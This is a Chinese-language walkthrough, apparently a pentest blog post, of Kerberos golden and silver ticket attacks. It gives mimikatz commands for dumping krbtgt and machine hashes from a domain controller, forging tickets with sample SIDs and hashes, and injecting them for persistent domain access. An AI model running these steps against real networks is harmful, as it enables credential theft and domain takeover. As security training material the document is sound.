金银票据
黄金票据
0x00 前言
Golden ticket
的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。
那么如果获取到了krbtgt
的密码hash值,就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
0x01 条件
- krbtgt用户的hash(就意味着你已经有域控制器权限了)
- 域名称
- 域的SID值
- 要伪造的用户名
0x02 利用
1、先登录域控制器,dump krbtgt用户的hash值,获取域sid
1 | privilege::debug |
这里讲一个小技巧,mimikatz 运行结果不容易复制,可以输出到一个文件
1 | mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit >> log.txt |
2、登录普通域用户生成TGT凭证
1 | kerberos::golden /user:administrator /domain:fzm.cn /sid:S-1-5-21-804046751-2176370659-833378800 /krbtgt:3e000e366d0b6191732cfa7c8b77511e /ticket:gold.kirbi |
3、注入黄金票据并访问域控
1 | kerberos::ptt gold.kirbi |
4、使用psexec连接域控
5、查看票据
1 | kerberos::list |
6、清除票据
1 | kerberos::purge |
7、清除后,无法访问域控
白银票据
0x00 前言
Sliver ticket
和golden ticket
不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。
不像是Golden ticket
,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。
白银票据这里只是对单一的服务进行授权,利用过程和golden ticket
差不多,首先上域控制器中,把机器的ntlm hash(rc4加密) dump下来,然后在普通域用户机器进行伪造权限,进行ptt。
0x01 利用
1、登录DC,抓取ntlm hash
1 | mimikatz.exe log privilege::debug sekurlsa::logonpasswords exit |
2、在普通域用户中生成票据
1 | kerberos::golden /domain:fzm.cn /sid:S-1-5-21-804046751-2176370659-833378800 /target:dc2.fzm.cn /service:cifs /rc4:5ae417641cc7e70629f4f148d06deb9a /user:administrator /ptt |
3、查看票证访问域控